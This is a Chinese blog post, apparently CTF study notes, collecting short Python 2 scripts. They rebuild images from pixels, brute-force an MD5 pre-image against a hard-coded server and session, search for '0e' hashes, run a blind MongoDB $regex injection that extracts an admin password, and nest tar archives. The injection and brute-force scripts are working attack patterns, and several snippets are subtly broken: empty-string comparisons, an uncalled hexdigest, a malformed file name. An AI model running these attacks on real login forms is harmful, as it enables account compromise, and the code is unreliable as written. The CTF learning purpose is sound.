1.利用像素点还原图片。

  1. from PIL import Image
  2. import re
  3. if __name__ == '__main__':
  4. x = 887 //将像素点个数进行分解,可以确定图片的长宽
  5. y = 111
  6. i = 0
  7. j = 0
  8.  
  9. c = Image.new("RGB", (x,y))
  10. file_object = open('ce.txt') //ce.txt中保存着像素点的坐标
  11.  
  12. for i in range(0, x):
  13. for j in range(0, y):
  14. line = file_object.next() //每次读取一个像素点
  15. lst = line.split(",") //lst生成一个元组
  16. c.putpixel((i, j), (int(lst[0]), int(lst[1]), int(lst[2])))
  17.  
  18. c.show()
  19. c.save("c.png")

2.py requests方法的利用以及利用正则匹配查找文本暴力破解md5值。

  1. #coding : utf8
  2. import requests
  3. import re
  4. import hashlib
  5. import itertools
  6. s = requests.session() //建立一个session对话
  7. url = "http://106.75.67.214:2050/?pass=bee7a613a8fa4f2f"
  8. data = {'PHPSESSID':'6h7b4caq8bo41i3m5fg2983cq5'}
  9. content = s.get(url=url,data=data)
  10. target = re.findall("sh\"\>(.*)\<",content.text)
  11. target = target[0]
  12. poc = re.findall("code\"\>(.*)\<",content.text)
  13. str1 = poc[0]
  14. a = [''.join(x) for x in itertools.permutations(str1, 9)] //join方法是通过指定的字符串来连接序列元素从而构成新字符串,permutations用来生成无重复字符的元组
  15. for i in range(0,len(a)):
  16. final = hashlib.md5(a[i])
  17. if final.hexdigest() == target:
  18. flag = s.get(url="http://106.75.67.214:2050/?code="+a[i])
  19. print flag.content
  20. print flag.headers

3.利用py将base64编码的字符串还原成图片

  1. import os,base64
  2. strs='''''sdasdas==''' //已经编码的base64字符串
  3.  
  4. imgdata=base64.b64decode(strs)
  5. file=open('1.jpg','wb')
  6. file.write(imgdata)
  7. file.close()

4.生成0e哈希值:

  1. #coding:utf-8
  2. import hashlib
  3. import itertools
  4. def go():
  5. payload = [c for c in "qwertyuioplkjhgfdsazxcvbnm123654789"]
  6. i = 0
  7. print payload
  8. for j in itertools.product(payload,repeat=30): #repeat参数指定长度
  9. payloads = "".join(j)
  10. #print pow
  11. #i = i+ 1
  12. #if i == 10:
  13. # break
  14. str1 = hashlib.md5(payloads).hexdigest + "SALT"
  15. str2 = hashlib.md5(str1)
  16. if (str2[0]=="") & (str2[1]=="e") & (str2[2:].isdigit()):
  17. print payloads
  18. go()

5.mongodb基于正则注入:

  1. #coding:utf-8
  2. import requests
  3. import string
  4. # print string.ascii_letters
  5. # print string.digits
  6. flag = "c1ctf{"
  7. payload = string.ascii_letters + string.digits
  8.  
  9. url = "http://xx.x.x.x/index.php?"
  10. restsrt = True
  11. while restsrt:
  12. restsrt = False
  13. for i in payload:
  14. payloads = flag + i
  15. post_data = {"username":"admin","passwd[$regex]":flag+".*"}
  16. #post_data = {"username":"admin","passwd[$regex]":"^"+flag}
  17. r = requests.get(url = url,data = post_data,allow_redirects = False)
  18. if r.status_code == "":
  19. print payloads
  20. flag = flag + i
  21. restsrt =True
  22. if i == "}":
  23. exit(0)
  24. break

6.多次压缩打包

  1. #coding:utf-8
  2. import tarfile
  3. for i in range(1,2):
  4. tfile = tarfile.open("shell0.tar.gz","w:gz") #打包压缩
  5. tfile.add("flag.py")
  6. tfile.close()
  7.  
  8. for i in range(1,300):
  9. tfile = tarfile.open("shell"+str(i)+".tar.gz","w:gz")
  10. tfile.add("1.php")
  11. tfile.add("shell"+str(i-1)+".tar.gz")
  12. tfile.close()

7.多次解压:

  1. #coding:utf-8
  2. import tarfile
  3. for i in range(1,300)[::-1]:
  4. file = tarfile.open("shell"+str(i)+"tar.gz")
  5. file.extractall()
  6. file.close()

积累一点ctf需要掌握的常见脚本知识的更多相关文章

  1. shell常见脚本30例

    shell常见脚本30例 author:headsen chen  2017-10-19  10:12:12 本文原素材出自网上,特此申明.有些地方加入我自己的改动 常见的30例shell脚本 1.用 ...

  2. Python简单的CTF题目hash碰撞小脚本

    Python简单的CTF题目hash碰撞小脚本 import hashlib for num in range(10000,9999999999): res = hashlib.sha1(str(nu ...

  3. Oracle手边常用70则脚本知识汇总

    Oracle手边常用70则脚本知识汇总 作者:白宁超 时间:2016年3月4日13:58:36 摘要: 日常使用oracle数据库过程中,常用脚本命令莫不是用户和密码.表空间.多表联合.执行语句等常规 ...

  4. ctf密码学------密文解码python脚本(凯撒解密)

    题目来源实验吧 分析题意,说是困在栅栏中,所以将字符栅栏解密看看有什么,利用工具CTFcraktools 得到三条密文 然后说是密码是凯撒,在将四栏依次凯撒解码,寻找可能的key,这里很显然,在尝试第 ...

  5. 放一点百度来的,常见的windowserror

    0操作成功完成.1功能错误.2系统找不到指定的文件.3系统找不到指定的路径.4系统无法打开文件.5拒绝访问.6句柄无效.7存储控制块被损坏.8存储空间不足,无法处理此命令.9存储控制块地址无效.10环 ...

  6. python 常见脚本

    一登录就发现了这篇博客,非常感谢作者,有时间会静下心来一点一滴的看 https://www.cnblogs.com/ailiailan/p/10141741.html

  7. bat脚本知识总结

    1常用基本命令 1.1 @ 它的作用是让执行窗口中不显示它后面这一行的命令本身 1.2 echo 它其实是一个开关命令,就是说它只有两种状态:打开和关闭.于是就有了echo on 和echo off两 ...

  8. 积累一些不太常用的c语言知识(不断更新)

    这里积累一些日常编程用得比较少的知识,不断添加. scanf("%c%*c%c",&a,&b); 其中的*表示跳过,本来输入三个数字,结果中间那个读入后被抛弃,a和 ...

  9. linux 常见基础知识(此文章将会在整个linux学习过程中,不断添加)

    1,linux 文件类型 普通文件 目录文件 链接文件 块设备 字符设备 Socket 管道文件 - d l b c s p 2,linux 文件属性 蓝色 绿色 浅蓝色 红色 灰色 目录 可执行文件 ...

随机推荐

  1. 利用Redis解决Url过长的问题

    做网站,接手别人的代码,发现url有时候会过长导致页面直接翻掉. 后来想了一下可以利用redis将太长的地方暂存,加载页面时获取即可. 存Redis: /// <summary> /// ...

  2. android中string.xml中%1$s、%1$d等的用法

    今天在研究前辈写的代码的时候,突然发现string里面出现了<stringname="item_recent_photo">最近拍摄%1$s</string> ...

  3. Quickly place a window to another screen using only the keyboard

    http://askubuntu.com/questions/22207/quickly-place-a-window-to-another-screen-using-only-the-keyboar ...

  4. docker--buildbot安装

    curl -L https://github.com/docker/compose/releases/download/1.8.0/docker-compose-`uname -s`-`uname - ...

  5. NHibernate 映射失败 is not mapped

    1 区分大小写(实体类名) 2 MAP的XML设置为嵌入的资源 3 hibernate.cfg.xml配置添加map的程序集<mapping assembly="Model" ...

  6. SVN服务器与测试服务器代码同步

    在本地做测试项目的时候,想svn提交和服务器上的代码一步到位,不想再手动更新一次了,所以就研究了下同步, 要实现svn提交后自动更新到测试服务器,在你的版本库下的hooks文件夹下添加post-com ...

  7. 解决libcurl7.50.3在windows XP SP3 VC++ 6.0下编译报错 unresolved external symbol __imp__IdnToAscii@20 unresolved external symbol __imp__IdnToUnicode@20

    错误重现: --------------------Configuration: curl - Win32 LIB Debug DLL Windows SSPI DLL WinIDN--------- ...

  8. Codeforces 740A. Alyona and copybooks 模拟

    A. Alyona and copybooks time limit per test: 1 second memory limit per test: 256 megabytes input: st ...

  9. Python Decorator分析

    decorator本身是一个函数,这个函数的功能是接受被修饰的函数(decorated)作为参数,返回包装函数(wrapper)替换被修饰函数(decorated). @decorator func ...

  10. js为空的几种情况

    1.null,对象不存在 var ii= document.getElementById("id"); alert(ii); 当前页面不存在id对象 2. undefined  v ...